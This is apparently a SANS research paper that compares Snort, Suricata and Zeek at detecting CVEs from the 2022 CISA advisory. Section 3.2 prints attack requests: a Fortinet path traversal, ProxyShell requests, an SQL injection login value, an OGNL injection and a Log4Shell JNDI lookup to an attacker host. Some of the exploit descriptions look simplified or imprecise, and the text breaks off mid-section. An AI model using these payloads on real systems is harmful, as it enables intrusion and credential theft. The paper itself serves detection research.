Evaluating the Efficacy of Network Forensic Tools: A Comparative Analysis of Snort, Suricata, and Zeek in Addressing Cyber Vulnerabilities

Author: Cody Wilson, cody.wilson@student.sans.edu
Advisor: *David Hoelzer*

Accepted: *January 15, 2024*

Abstract

In the landscape of cybersecurity threats, this research delves into the efficacy of network intrusion detection systems (NIDS) in identifying top CVE exploits. The prevalence of network-based components is explored and the performance of prominent NIDS solutions—Snort, Suricata, and Zeek is examined. The research reveals that while Suricata slightly outperforms Snort, Zeek's unique function in anomaly detection makes it indispensable. By integrating these tools, a more dynamic enterprise security model is proposed, enhanced by default rules in Snort and Suricata for the top 2022 CVEs. This allows for efficient detection and response to legacy and emerging threats. This study provides valuable insights for optimizing cybersecurity strategies in the face of evolving network-based vulnerabilities.

1. Introduction

The cybersecurity threat landscape is divided into two disparate but equally menacing fronts: state-of-the-art cyber threats and 'legacy vulnerabilities,' the older, publicly disclosed vulnerabilities. In 2022, multiple cybersecurity agencies—including the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) from the United States, along with agencies from Australia, Canada, New Zealand, and the United Kingdom—jointly published a report highlighting the prevalence of legacy vulnerabilities. The report showed that malicious actors targeted older software vulnerabilities more frequently than recently disclosed ones, particularly in unpatched, internet-facing systems (CISA, 2023).

Prominent examples include the persistent exploitation of vulnerabilities like CVE-2018-13379 affecting Fortinet SSL VPNs or the ProxyShell vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473, CVE-2021-31207, CVE-2021-34523). Such legacy vulnerabilities offer attackers an open invitation, comparable to employing quantum encryption inside a facility while leaving its entrance unguarded.

The central inquiry of this research pertains to the differential effectiveness of leading network forensic tools—Suricata, Zeek, and Snort—in identifying and dissecting exploits directed at high-priority vulnerabilities as designated by the 2022 CISA advisory.

This study will mainly focus on those vulnerabilities that have been most frequently exploited per the advisory. When confronted with these top vulnerabilities, a discrepancy in these tools' performance metrics is hypothesized. Given that older vulnerabilities are still being routinely exploited, according to the 2022 CISA report, it is crucial to understand how well these forensic tools perform against a comprehensive threat matrix.

Furthermore, it is essential to recognize that exploiting legacy vulnerabilities is not limited to opportunistic cyber actors alone. Advanced persistent threats (APTs) and sophisticated state-sponsored actors also frequently leverage these older, well-documented vulnerabilities (Karabacak & Whittaker, 2022; Kida & Olukoya, 2022). This tendency is primarily due to the ease of exploitation and the high success rate associated with these vulnerabilities. Such a strategy allows these actors to maximize impact with minimal effort, often catching organizations off-guard. This trend underlines the critical importance of detecting and responding to these top exploited vulnerabilities (Pranggono & Arabo, 2020). The simplicity and

accessibility of legacy vulnerabilities make them attractive targets, even for the most advanced cyber adversaries. Therefore, the ability of network forensic tools like Suricata, Zeek, and Snort to effectively identify and neutralize threats stemming from these vulnerabilities (Urquhart, 2017) becomes a pivotal aspect in fortifying cybersecurity defenses against a full spectrum of cyber threats. By comparing the efficacy of these tools against the top exploited vulnerabilities of 2022, this research aims to provide actionable insights for cybersecurity professionals and decision-makers.

2. Research Method

2.1. Data Collection and Analysis

The research methodology combines quantitative analysis with practical simulations to ensure replicability and integrity. This comprehensive approach is designed to systematically assess and compare the performance of Suricata, Zeek, and Snort.

2.1.1. Tool Capability and Feature Analysis

In this study, a meticulous examination of the feature set for each network forensic tool—Suricata, Zeek, and Snort—was undertaken. This granular analysis focused on various aspects of the tools, including their signature-based detection mechanisms, heuristic analysis capabilities, and support for diverse network protocols. Critical to this analysis was the dissection of the underlying algorithms and processing techniques each tool employs in threat detection and analysis. This approach gave an in-depth understanding of how these tools identify and respond to potential cybersecurity threats.

Parallel to the feature set exploration, the research also encompassed a comprehensive review of the version histories of Suricata, Zeek, and Snort. This review aimed to map out their developmental trajectories, focusing on enhancements and updates incorporated over time to address the detection and mitigation of known vulnerabilities. This historical analysis provided insights into how these tools have evolved in response to the ever-changing landscape of cybersecurity threats, thereby informing the assessment of their current capabilities (Wang et al., 2012).

2.1.2. Vulnerability Profiling and Exploit Analysis

An integral part of this research involved the meticulous cataloging of high-priority vulnerabilities as identified by the Cybersecurity and Infrastructure Security Agency (CISA). This process entailed the creation of detailed profiles for each vulnerability, encompassing their Common Vulnerabilities and Exposures (CVE) identifiers, known exploitation methods, and the historical impacts of these vulnerabilities. To develop a comprehensive understanding of the exploitation landscape, this cataloging process necessitated an extensive review of various vulnerability databases and incident reports, enabling a thorough comprehension of the threats posed by these vulnerabilities.

Concurrently, an in-depth analysis of exploit patterns and techniques associated with these vulnerabilities was conducted. This analysis included a detailed examination of exploit scripts and attack vectors, providing valuable insights into the methodologies employed by attackers. By analyzing the code of these exploits, the research aimed to establish a foundational baseline against which the detection capabilities of the network forensic tools—Suricata, Zeek, and Snort—could be rigorously tested. This approach was pivotal in understanding the nuances of how these tools respond to specific vulnerabilities and the effectiveness of their detection mechanisms in real-world scenarios.

2.1.3. Experimental Simulation and Testing

In this study, network traffic simulation played a pivotal role in evaluating the effectiveness of network forensic tools. Scapy, a sophisticated packet manipulation tool, generated network traffic patterns that closely emulate real-world attack vectors targeting the identified vulnerabilities. This process involved the meticulous crafting of custom packets, including malformed packets, to rigorously test the detection and response capabilities of Suricata, Zeek, and Snort tools under conditions that simulate sophisticated cyber-attack scenarios.

Simultaneously, a controlled test environment was meticulously set up to mirror the complexities of real-world network infrastructures. This setup encompassed the establishment of various network topologies and the incorporation of a range of operating systems and network devices. The intent was to assess the performance of the tools in diverse operational scenarios, thereby ensuring a comprehensive evaluation. This environment allowed for a nuanced analysis

of how each tool functions across different network configurations and in the presence of varied hardware and software ecosystems, providing a robust assessment of their applicability and effectiveness in real-world settings.

2.1.4. Quantitative Evaluation Metrics

The quantitative evaluation in this research is streamlined to focus on the effectiveness of Suricata, Zeek, and Snort in detecting specific exploits. For each high-priority vulnerability identified in the 2022 CISA advisory, a corresponding proof of concept (PoC) exploit was selected. The critical metric for evaluation is the detection rate, which measures whether each network forensic tool successfully identifies the PoC exploit associated with each CVE.

This approach involves running each PoC against the three tools in a controlled environment and recording whether the exploit is detected. This binary outcome (detected/not detected) provides a clear and direct measure of each tool's effectiveness against specific vulnerabilities. The results offer an immediate understanding of the capabilities of Suricata, Zeek, and Snort in recognizing and responding to these particular threats.

For each CVE, the PoC exploit's interaction with the tools is documented, noting whether the exploit was successfully identified. This straightforward method of testing and recording provides a concise yet effective way of comparing the tools' detection capabilities. The advantage of this approach lies in its simplicity and direct applicability, allowing for a focused assessment of each tool without the need for complex statistical analysis or extensive experimental setups.

In summary, the research quantitatively evaluates the ability of each network forensic tool to detect known exploits, offering insights into their relative strengths and weaknesses in real-world scenarios. This method provides practical and relevant findings to the cybersecurity community within the constraints of a single PoC per CVE.

3. Findings and Discussion

This section presents the key findings of the research, offering a detailed analysis of the performance of network forensic tools—Suricata, Zeek, and Snort—in detecting high-priority vulnerabilities as designated in the 2022 CISA advisory. The findings are derived from a methodical approach that combined tool capability analysis, vulnerability profiling, exploit

pattern analysis, and practical testing against proof of concept (PoC) exploits. The discussion aims to interpret these findings, providing insights into the efficacy of each tool and their implications for cybersecurity practices.

3.1. Tool Analysis

This section delves into analyzing the network forensic tools—Suricata, Zeek, and Snort, focusing on their optimal placement and key technical differentiators. The discussion is contextualized within the broader framework of the study's objective to assess these tools against high-priority vulnerabilities identified in the 2022 CISA advisory.

3.1.1. Suricata

Incorporating Suricata into a network for intrusion detection and prevention involves strategic considerations regarding its placement to optimize its efficacy. The placement of Suricata is critical in ensuring comprehensive network coverage and efficient threat detection, and positioning Suricata immediately after the Firewall and before the DMZ is generally optimal for external traffic monitoring. This setup effectively monitors internet-bound traffic, including ingress and egress from the DMZ, which is crucial for protecting external-facing services like web and mail servers. An alternative, albeit with increased exposure to direct internet traffic, would be to place Suricata at the network's perimeter, even before the Firewall. This would necessitate robust security measures to shield Suricata from potential direct attacks but could offer early threat detection.

Internally situating Suricata between the Network Gateway, which performs Network Address Translation (NAT), and the Core Switch effectively monitors internal network traffic. This placement is pivotal for detecting threats within the network, including traffic between VLANs and servers. Alternatively, positioning Suricata directly behind the Firewall to monitor all internal network traffic can be considered. While this may simplify the network architecture, it might not capture lateral movements within the network or traffic that does not transit through the core network.

These placement strategies must align with the organization's specific network topology, performance requirements, and security policies. Suricata's multi-threaded processing capability and advanced rule syntax facilitate the efficient handling of diverse and high-volume network

traffic, making it a flexible tool adaptable to various network environments. Regular evaluations and adjustments based on changes in network structure and emerging security threats are crucial for maintaining the effectiveness of Suricata deployments.

Furthermore, Suricata's rule syntax, while similar to Snort's, incorporates advanced features like sticky buffers and enhanced content inspection, setting it apart in its flexibility and depth of analysis.

3.1.2. Zeek (Formerly Bro)

Zeek's deployment primarily focuses on passive monitoring, ideally suited for analyzing traffic in network segments through a tap or span port. This positioning is crucial for Zeek's unique approach to network security, which emphasizes high-level network events and stateful traffic analysis over packet-by-packet inspection. A key differentiator of Zeek is its own domain-specific scripting language, enabling the development of complex, custom scripts that are tailored to specific network environments and security requirements. This capability enhances Zeek's flexibility and positions it as a potent tool for intricate threat-hunting and incident-response tasks. Zeek's proficiency in logging and contextual traffic analysis further underscores its utility in sophisticated cybersecurity setups.

3.1.3. Snort 3.0

The latest iteration of Snort, Version 3.0, maintains the tool's traditional deployment flexibility as either an inline IPS or a passive IDS. Optimal placement for Snort 3.0 aligns closely with that of Suricata, ensuring comprehensive coverage of network traffic at critical points within the network architecture. Snort 3.0 represents a significant evolution from its predecessor, Snort 2.0, marked by an overhaul in its architecture for enhanced modularity and performance. The introduction of multi-threaded processing in Snort 3.0 addresses the high-throughput demands of modern networks, a notable advancement from the single-threaded operation of Snort 2.0. Additionally, Snort 3.0's rule language has been refined for greater complexity and accuracy in detection rules, enabling more nuanced and compelling threat detection capabilities.

While Snort 2.0 remains a competent tool, its single-threaded nature poses limitations in handling large traffic volumes, a constraint that Snort 3.0 addresses. Despite its efficacy, the rule syntax in Snort 2.0 needs more advanced options and flexibility found in its latest version and Suricata, potentially impacting its adaptability in evolving threat landscapes.

3.1.4. Comparative Analysis of Tool Capabilities Across OSI Layers

In the pursuit of a detailed technical comparison of the capabilities of network forensic tools, this paper introduces a comprehensive analysis of how Snort, Suricata, and Zeek align with the Open Systems Interconnection (OSI) model's layers. This section, "Comparative Analysis of Network Forensic Tool Capabilities Across OSI Layers," scrutinizes how these tools evaluate and monitor the integrity of network protocols and packet components at each OSI layer.

At the Data Link Layer, all three tools demonstrate proficient analysis of Ethernet frames and MAC address tracking, with nuanced differences in examining ARP headers and PPPoE handling, where Zeek and Suricata show more extensive capabilities than Snort. Progressing to the Network Layer, the triad uniformly supports core functions such as IP header and address analysis. Zeek exhibits enhanced detection for routing protocols and IPsec support, an attribute not fully present in Snort.

In the Transport Layer, the tools under scrutiny maintain a consistent level of performance, dissecting TCP and UDP protocols to a granular degree. Zeek provides a broader scope of analysis for ICMP-related traffic, distinguishing itself with its meticulous inspection capabilities. Suricata and Zeek excel in session tracking at the Session Layer, indicating their superior performance in maintaining stateful session information over Snort.

Addressing the Presentation Layer, Suricata, and Zeek are adept at analyzing data encryption and MIME types, suggesting a stronger focus on dissecting encapsulated data payloads. The Application Layer sees Zeek outpacing its counterparts with its robust protocol decoding, particularly in behavioral analysis and anomaly detection, and its inherent scripting extensibility, which provides a heightened level of customization for threat detection and analysis.

This technical assessment will be encapsulated in Table 1 that succinctly encapsulates the capabilities of each tool across the OSI model layers. The table will elucidate the degree of support ranging from complete (✅), limited (Limited), or unsupported (❌) across various packet components and features, providing a clear, empirical foundation for the comparative evaluation of Snort, Suricata, and Zeek's performance in a network security context.

It is imperative to acknowledge that the comprehensive testing of all features delineated in the table falls outside the ambit of this research. The information presented has been meticulously inferred from the extensive documentation provided for each tool. Consequently,

while the data aims to be as accurate as possible, the inherent limitations of secondary research methods mean that the information may reflect only some of the full capabilities of each tool in a practical environment.

This analysis serves as an overview, identifying potential gaps in coverage that could be critical when comparing the functionalities of Snort 3.0, Suricata, and Zeek. Such comparative insights are intended to assist practitioners and researchers in determining the most suitable tool for their specific security infrastructure. It is crucial to note that the column dedicated to Snort pertains exclusively to its version 3.0; therefore, its capabilities are different from previous iterations of the tool. Users are encouraged to conduct their empirical testing to validate the current functionalities of these tools within their operational contexts.

Packet Component / Feature	Snort	Suricata	Zeek (formerly Bro)
Layer 1 - Physical Layer			
Physical Medium Detected	✗	✗	✗
Layer 2 - Data Link Layer			
Ethernet Frame	✓	✓	✓
MAC Addresses	✓	✓	✓
VLAN Info	✓	✓	✓
802.1Q Tags	✓	✓	✓
Ethernet Type	✓	✓	✓
ARP Header	✗	Limited	✓
LLC Header	✗	✗	Limited
PPPoE	Limited	✓	✓
Layer 3 - Network Layer			
IP Header	✓	✓	✓
IP ID	✓	✓	✓
IP Header Length	✓	✓	✓
IP Total Length	✓	✓	✓
IPsec Support	✗	Limited	✓
Source IP	✓	✓	✓
Destination IP	✓	✓	✓

Packet Component / Feature	Snort	Suricata	Zeek (formerly Bro)
TTL	✓	✓	✓
IP Options	✓	✓	✓
Checksum	✓	✓	✓
IPv6 Support	✓	✓	✓
Fragment Handling	✓	✓	✓
QoS (Quality of Service)	✓	✓	✓
DSCP	✓	✓	✓
MPLS Label Switching	✗	Limited	Limited
Routing Protocols (OSPF, BGP, etc.)	Limited	Limited	✓
ECN	✓	✓	✓
Layer 4 - Transport Layer			
TCP Header	✓	✓	✓
UDP Header	✓	✓	✓
TCP Urgent Pointer	✓	✓	✓
TCP Checksum	✓	✓	✓
UDP Checksum	✓	✓	✓
Source Port	✓	✓	✓
Destination Port	✓	✓	✓
Sequence Numbers	✓	✓	✓
Ack Numbers	✓	✓	✓
TCP Flags	✓	✓	✓
UDP Length	✓	✓	✓
TCP Options	✓	✓	✓
Window Size	✓	✓	✓
ICMP Redirect	✓	✓	✓
ICMP Timestamp	✗	Limited	✓
ICMP Header/Type/Code	✓	✓	✓
Layer 5 - Session Layer			

Packet Component / Feature	Snort	Suricata	Zeek (formerly Bro)
Session Establishment	Limited	✓	✓
Session Termination	Limited	✓	✓
Session State Tracking	✓	✓	✓
Layer 6 - Presentation Layer			
Data Encryption	Limited	✓	✓
Data Compression	✗	Limited	Limited
Data Conversion	✗	Limited	Limited
MIME Type Recognition	✗	Limited	✓
Layer 7 - Application Layer			
Payload	✓	✓	✓
Application Data	✓	✓	✓
Protocol Decoding	Limited	More Extensive	Most Extensive
Custom Payload Rules	✓	✓	Limited
File Extraction	Limited	✓	✓
TLS Inspection	Limited	✓	✓
Deep Packet Inspection (DPI)	Limited	✓	✓
GeoIP Lookup	Limited	✓	✓
SSL Certificate Info	Limited	✓	✓
User-Agent String	Limited	✓	✓
Behavioral Analysis	✗	Limited	✓
Anomaly Detection	✗	Limited	✓
HTTP/2 Support	✗	Limited	✓
DNS over HTTPS (DoH) Recognition	✗	Limited	Limited
FTP Commands	Limited	✓	✓
SMTP Headers	Limited	✓	✓
SMB Commands	✗	✓	✓
QUIC Protocol Recognition	✗	Limited	✓

Packet Component / Feature	Snort	Suricata	Zeek (formerly Bro)
Additional File Types			
PDF File Detection	✗	✓	✓
MS Office File Detection	✗	✓	✓
Additional Encryption Algorithms			
RC4 Detection	✗	✓	✓
AES Detection	✗	✓	✓
Forensic Capabilities			
PCAP Support	✓	✓	✓
Session Reassembly	✓	✓	✓
File Carving	✗	✓	✓
Event Correlation	✗	Limited	✓
Scripting/Extensibility	Limited (primarily via rules, with some Lua scripting)	Moderate (supports more advanced scripting with Lua)	Most extensive (via its own powerful Zeek scripting language)
Threat Intelligence Feed Integration	Limited	✓	✓
Data Export Formats	Limited	More Extensive	Most Extensive
Historical Data Query	✗	✗	✓
Real-Time Monitoring	✓	✓	✓
Log Retention & Management	Limited	More Extensive	Most Extensive
Network Flow Data	Limited	✓	✓
User and Entity Behavior Analytics (UEBA)	✗	Limited	✓

Packet Component / Feature	Snort	Suricata	Zeek (formerly Bro)
Hardware Offloading	✗	✓	Limited
Multi-threading	✗	✓	✓
Artifact Recovery	✗	Limited	✓
Chain of Custody Metadata	✗	✗	✓
Other Additional Features			
RADIUS Attribute Parsing	✗	Limited	✓
NTLM Parsing	✗	Limited	✓
Proxy Protocol Detection	✗	Limited	✓
FQDN Extraction	✗	Limited	✓
Steganography Detection			
Least Significant Bit (LSB)	✗	✗	Limited
Outguess	✗	✗	Limited
IoT Protocol Support			
MQTT Parsing	✗	Limited	✓
CoAP Parsing	✗	Limited	✓
VoIP Protocols			
SIP Headers	Limited	✓	✓
RTP Streams	✗	✓	✓

Table 1: Network Protocol Analysis Capabilities of Snort, Suricata, and Zeek

3.2. Vulnerability and Exploit Analysis

3.2.1. CVE-2018-13379: Fortinet FortiOS and FortiProxy SSL VPN credential exposure

CVE-2018-13379 is a path traversal vulnerability in the Fortinet FortiOS and FortiProxy SSL VPN web portals. This security flaw enables an unauthenticated attacker to access system files through specially crafted HTTP requests. The vulnerability explicitly allows the attacker to read the 'sslvpn_websession' file from the FortiOS or FortiProxy system, which contains active user session information, including usernames and plaintext passwords.

This vulnerability is a direct consequence of insufficient input validation, allowing the attacker to manipulate the URL path and access files outside the web root folder. Technical analysis reveals that the issue arises due to how the FortiOS SSL VPN portal handles requests to the 'cgi-bin' directory. A specially crafted HTTP GET request with directory traversal sequences such as '../' can be used to navigate the file system and retrieve sensitive files.

An attacker exploiting CVE-2018-13379 can gain unauthorized access to the network by leveraging the extracted credentials, potentially leading to further lateral movement within the network or escalation of privileges if combined with other vulnerabilities.

A proof of concept (PoC) for this exploit could be as simple as an HTTP request to the vulnerable endpoint:

```
GET /remote/fgt_lang?lang=/../../../../////////dev/cmdb/sslvpn_websession HTTP/1.1
Host: <Vulnerable-IP-or-Domain>
User-Agent: <User-Agent>
Connection: close
```

Executing this PoC would result in the server returning the 'sslvpn_websession' file containing the sensitive session data. It is important to note that executing such a PoC without authorization is illegal and unethical. The PoC is provided here solely for educational purposes and to illustrate the vulnerability's technical aspects.

After its discovery, Fortinet released patches and advisories urging users to update their systems. Despite these efforts, CVE-2018-13379 have widely exploited by cyber adversaries, underlining the importance of timely patch management and system updates in cybersecurity defense strategies.

3.2.2. CVE-2021-34473: ProxyShell - Microsoft Exchange Server RCE

CVE-2021-34473 represents a critical vulnerability within the ProxyShell set, targeting the Microsoft Exchange Server. The core of the vulnerability lies in a pre-authentication path confusion error within the Client Access Service (CAS). Notably, it allows an unauthenticated attacker to execute arbitrary code on the server without any interaction from the user. This particular flaw is exploited by manipulating the sequence of HTTP requests to bypass Access Control Lists (ACLs), which are meant to safeguard the Exchange PowerShell backend service.

The technical breakdown of CVE-2021-34473 reveals that the underlying issue is the CAS's failure to validate URL namespaces accurately. Attackers exploit this by constructing a specially crafted request. When processed by the server, this request results in an incorrect parsing of the URL, which in turn grants access to backend services that typically would be inaccessible due to ACL protections.

To exploit CVE-2021-34473, an attacker begins by sending a malformed HTTP request to the CAS. This malformed request exploits a significant flaw in the CAS's logic for parsing URLs. The server's misinterpretation of this request inadvertently gives the attacker unauthorized access to the backend. With this access, the attacker can create and write a PowerShell script with malicious intent to a directory they control on the server.

A theoretical proof of concept (PoC) for CVE-2021-34473, which is part of an exploit chain, could be outlined as follows, noting that this is a simplified representation An actual exploitation would require a sophisticated understanding of the target environment:

```
POST /autodiscover/autodiscover.json?@evil.com/Powershell/ HTTP/1.1
Host: <Target-Exchange-Server>
Content-Length: <Payload-Size>
Cookie: X-BEResource=Admin@<Target-Exchange-
Server>:444/ecp/DDI/DDIService.svc/GetObject?schema=ResetPassword
Connection: close

{"__type":"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel","identity":{"__type":"UserId
entity:#Microsoft.Exchange.Management.ControlPanel","displayName":"All
Rooms","parameters":{}},"properties":{"Parameters":{"__type":"JsonDictionaryOfanyType:#Microsoft.Exchange.Managem
ent.ControlPanel","NewPassword":"<New-Password>"}}}
```

This PoC represents the initial stage of an exploit chain where the attacker sends a POST request with a crafted Cookie header designed to manipulate the server-side component to perform actions on behalf of the attacker.

The exploit culminates when the attacker makes a server-side request that causes the execution of the malicious PowerShell script. This execution enables the attacker to perform remote code execution, achieving complete control over the compromised server. The intricacies of this exploit chain highlight the critical necessity of rigorous input validation and robust access

control mechanisms within web services. The sequence of these steps showcases the sophistication of the ProxyShell vulnerability and emphasizes the vital role of proactive security measures in defending against such advanced threats.

3.2.3. CVE-2021-31207: ProxyShell - Microsoft Exchange Server Security Feature Bypass

CVE-2021-31207 is a critical vulnerability identified within the Microsoft Exchange Server, constituting a part of the ProxyShell vulnerability ensemble. This particular security flaw enables an attacker to bypass security features via a method known as Privilege Escalation and Remote Code Execution (RCE). The vulnerability arises from an improper validation of cmdlet arguments, which an attacker can exploit to run arbitrary PowerShell commands in the context of the server's system user, effectively elevating their privilege.

In the technical dissection of CVE-2021-31207, the vulnerability manifests in the Exchange PowerShell backend, which is integral to the administration of the Exchange Server. An attacker can leverage the New-MailboxExportRequest functionality to export the contents of a user's mailbox. However, the vulnerability lies in that the cmdlets used in this functionality do not adequately validate the file path that an attacker specifies. This oversight permits the attacker to point the export path to a location where they can execute a malicious application with elevated privileges.

A real-world exploit scenario would entail an authenticated attacker, with specific roles assigned, to craft a specialized PowerShell command that injects a malicious DLL into a controlled path on the server. The attacker could then initiate the New-MailboxExportRequest command, which would process the cmdlet without proper validation and execute the malicious code. Here is a conceptual representation of the exploit:

```
New-MailboxExportRequest -Mailbox <Victim-Mailbox> -FilePath "\\localhost\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<malicious_DLL_name>.dll"
```

This PowerShell command exploits CVE-2021-31207 by directing the export request to write a malicious DLL to a path that will be executed by the server, thus achieving privilege escalation and code execution.

It is critical to stress that exploiting this vulnerability requires specific conditions, including the attacker having certain roles assigned that grant them the permissions to utilize the

New-MailboxExportRequest cmdlet. Furthermore, executing such an exploit must comply with legal and ethical standards; unauthorized use of this exploit is illegal and outside the bounds of responsible disclosure and research.

Microsoft's response to CVE-2021-31207 included a security update that rectifies the cmdlet argument validation procedure, thus mitigating the vulnerability. This case study emphasizes the significance of thorough input and argument validation processes in software development and the continual need for vigilance and prompt updating of systems to protect against evolving cyber threats.

3.2.4. CVE-2021-34523: ProxyShell - Microsoft Exchange Server Elevation of Privilege

CVE-2021-34523, a critical component of the ProxyShell vulnerability set in Microsoft Exchange Server, represents an elevation of privilege vulnerability. This security flaw is entrenched within the Exchange PowerShell backend and is instrumental in the ProxyShell exploit chain. The vulnerability enables an attacker to gain elevated privileges on the Exchange Server, paving the way for further exploitation, such as remote code execution.

At its core, CVE-2021-34523 stems from the inadequate enforcement of permissions in the Exchange PowerShell backend. The flaw allows an attacker with basic user privileges to execute high-privileged PowerShell commands. This is achieved by exploiting the Exchange Management Console's role-based access control (RBAC) system. The RBAC system in Exchange, intended to limit the capabilities of PowerShell commands based on the user's role, fails to restrict access to certain high-privileged operations adequately.

The exploitation mechanism involves an attacker, initially with limited privileges, crafting and executing a PowerShell command that the Exchange Server mistakenly processes with elevated privileges. This process typically involves the utilization of a cmdlet that the server fails to restrict correctly, allowing the attacker to perform actions beyond their assigned role.

For instance, an attacker could use a PowerShell cmdlet to modify server settings or access sensitive data, typically requiring administrative privileges. Here is a conceptual representation of the exploit process:

```
Invoke-Command -ScriptBlock { Add-MailboxPermission -Identity "VictimMailbox" -User "Attacker" -AccessRights FullAccess }
```

In this hypothetical command, the attacker exploits CVE-2021-34523 by running a PowerShell cmdlet to grant themselves full access rights to another user's mailbox. This is executed despite the attacker initially lacking the administrative privileges to perform such an operation. Exploiting this vulnerability is significant because it allows attackers to substantially elevate their foothold within the Exchange Server environment, facilitating further malicious activities. It is important to note that such an exploit would require initial access to the network and the ability to execute PowerShell commands on the Exchange Server.

In response, Microsoft issued a security update that rectified this permission enforcement flaw in the Exchange PowerShell backend. CVE-2021-34523 underscores the importance of robust permission and role validation mechanisms within server environments, especially in systems as widely used and critical as Microsoft Exchange Server. The vulnerability also highlights the necessity for continuous monitoring and timely patching of enterprise systems to protect against sophisticated exploit chains like ProxyShell.

3.2.5. CVE-2021-40539: Zoho ManageEngine ADSelfService Plus RCE

CVE-2021-40539 is a critical vulnerability in Zoho ManageEngine ADSelfService Plus, a widely used self-service password management and single sign-on solution. This vulnerability is characterized by its potential to enable an attacker to execute remote code (RCE) on the affected system. It specifically targets a flaw in the REST API URLs of ADSelfService Plus, which fails to properly sanitize user-supplied inputs, leading to a remote code execution vulnerability.

The exploitation of CVE-2021-40539 involves sending a specially crafted request to the REST API endpoint of the ADSelfService Plus application. The vulnerability arises from the inadequate validation of parameters passed through these REST API calls. An attacker can exploit this by injecting malicious SQL commands or scripts into the API requests, which are then executed by the server. This execution can lead to unauthorized access to the database or the underlying server operating system.

A practical exploit scenario involves an attacker sending an HTTP POST request with a malicious payload to the vulnerable REST API endpoint. The payload is typically structured to include SQL injection, or script execution commands that the server inadvertently processes. For example, the attacker might send the following request:

```
POST /RestAPI/ChangePassword HTTP/1.1
Host: <target-host>
Content-Type: application/json
Content-Length: <length>

{"loginName":"admin'--
","newPassword":"malicious_payload","confirmNewPassword":"malicious_payload","siteName":"default"}
```

In this request, the attacker manipulates the loginName parameter to inject a SQL command (admin'--) followed by a newPassword parameter containing the malicious payload. This results in the server processing the SQL command, leading to unintended actions such as data manipulation or command execution.

This vulnerability highlights the critical importance of stringent input validation and sanitization in web applications, especially those exposed to the internet. Attackers can exploit such vulnerabilities to gain unauthorized access, potentially leading to data breaches, system compromise, and other severe consequences.

Following the discovery of CVE-2021-40539, Zoho released patches to address this vulnerability. This case emphasizes the necessity for regular vulnerability assessments, prompt patching, and the implementation of robust security practices in software development and maintenance. It also underscores the need for continuous monitoring and security hardening of applications, particularly those involving user authentication and data management functionalities.

3.2.6. CVE-2021-26084: Atlassian Confluence Server and Data Center RCE

CVE-2021-26084 is a critical vulnerability in the Atlassian Confluence Server and Data Center. This vulnerability allows for remote code execution (RCE) and has been a significant concern due to its widespread impact and ease of exploitation. It explicitly exploits a flaw in the Object-Graph Navigation Language (OGNL) injection, enabling an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.

The vulnerability originates from the improper validation of user-supplied OGNL expressions. OGNL is used in the Confluence server for rendering data on web pages, but it can also inject malicious code into the server's memory. An attacker can exploit this by crafting a

malicious OGNL expression that, when processed by the Confluence server, leads to the execution of arbitrary Java code.

A typical exploit scenario involves an attacker sending a specially crafted HTTP request to the vulnerable Confluence server. This request includes a malicious OGNL expression. For instance, the attacker might construct an HTTP POST request to a Confluence endpoint such as /pages/createpage-entervariables.action or /pages/doenterpagevariables.action, embedding the malicious OGNL code in one of the request parameters. An example of such a payload could be:

```
POST /pages/createpage-entervariables.action HTTP/1.1
Host: <vulnerable-confluence-server>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

queryString=<malicious_ognl_expression>
```

In this request, the queryString parameter is exploited to insert a malicious OGNL expression, which, when evaluated by the server, leads to executing the attacker's code. This execution could result in complete control over the Confluence server, allowing the attacker to access sensitive data, compromise the server's integrity, or pivot to other parts of the network.

The discovery and subsequent exploitation of CVE-2021-26084 underscore the critical importance of validating and sanitizing all user inputs, especially in applications that utilize template languages or expression evaluators like OGNL. Following the identification of this vulnerability, Atlassian promptly released a security update to address this issue, highlighting the need for rapid response and patch management in software maintenance.

CVE-2021-26084 is a stark reminder of the potential dangers of injection vulnerabilities in web applications and the necessity of employing secure coding practices and regular security audits to identify and mitigate such risks.

3.2.7. CVE-2021-44228: Log4Shell - Apache Log4j Remote Code Execution

CVE-2021-44228, commonly known as Log4Shell, is a severe vulnerability in the Apache Log4j logging library, a ubiquitous logging framework used in numerous Java-based applications. This critical vulnerability enables remote code execution (RCE), posing a significant threat due to its widespread application and the simplicity of exploitation.

The vulnerability explicitly exploits the Log4j feature that logs 'lookup' patterns, allowing data from various sources to be included in log messages. Log4Shell leverages this functionality to execute arbitrary Java code loaded from external servers. The flaw arises from Log4j's ability to interpret these lookups in log messages as requests to execute code located at a specified external LDAP or JNDI (Java Naming and Directory Interface) URL.

An attacker can exploit this vulnerability by sending crafted log messages containing a JNDI lookup pattern to a vulnerable Log4j instance. When the logging system processes the message, it unintentionally executes the code referenced by the JNDI URL. For example, an attacker might send a request to a web server with a User-Agent header structured as:

```
User-Agent: ${jndi:ldap://attacker-controlled-server.com/malicious}
```

When Log4j processes this log message, it inadvertently requests the specified LDAP URL, which could return a reference to a Java class that the server executes, leading to remote code execution.

The simplicity of initiating an attack using this vulnerability, combined with the extensive use of Log4j in commercial and open-source projects, led to widespread concern and immediate response from the software security community. Exploiting CVE-2021-44228 can result in complete system compromise, data breaches, and other malicious activities.

In response to the discovery of CVE-2021-44228, Apache swiftly released Log4j version 2.15.0, which mitigated the vulnerability by turning off JNDI lookups by default and removing message lookup substitution. However, the pervasive nature of Log4j in software ecosystems makes patching challenging, emphasizing the need for rigorous software dependency management and timely update practices.

The Log4Shell vulnerability highlights critical software development and maintenance considerations, including the careful handling of external data inputs in logging systems and the potential risks associated with dynamically interpreting and executing code from untrusted sources.

3.2.8. CVE-2022-22954: VMware Workspace ONE Access RCE

CVE-2022-22954 is a critical vulnerability identified in VMware Workspace ONE Access, a popular enterprise platform for identity and access management. This vulnerability allows for remote code execution (RCE) on affected systems, posing a significant security risk. It

targets a server-side template injection vulnerability in VMware Workspace ONE Access and related products, enabling an attacker to execute arbitrary code remotely.

The vulnerability arises from the improper validation and sanitization of user input in the product's templates. VMware Workspace ONE Access uses Apache Velocity, a Java-based template engine, to render dynamic web content. However, due to the vulnerability, an attacker can manipulate these templates by injecting malicious code. When the server processes these templates, the injected code is executed, leading to potential RCE.

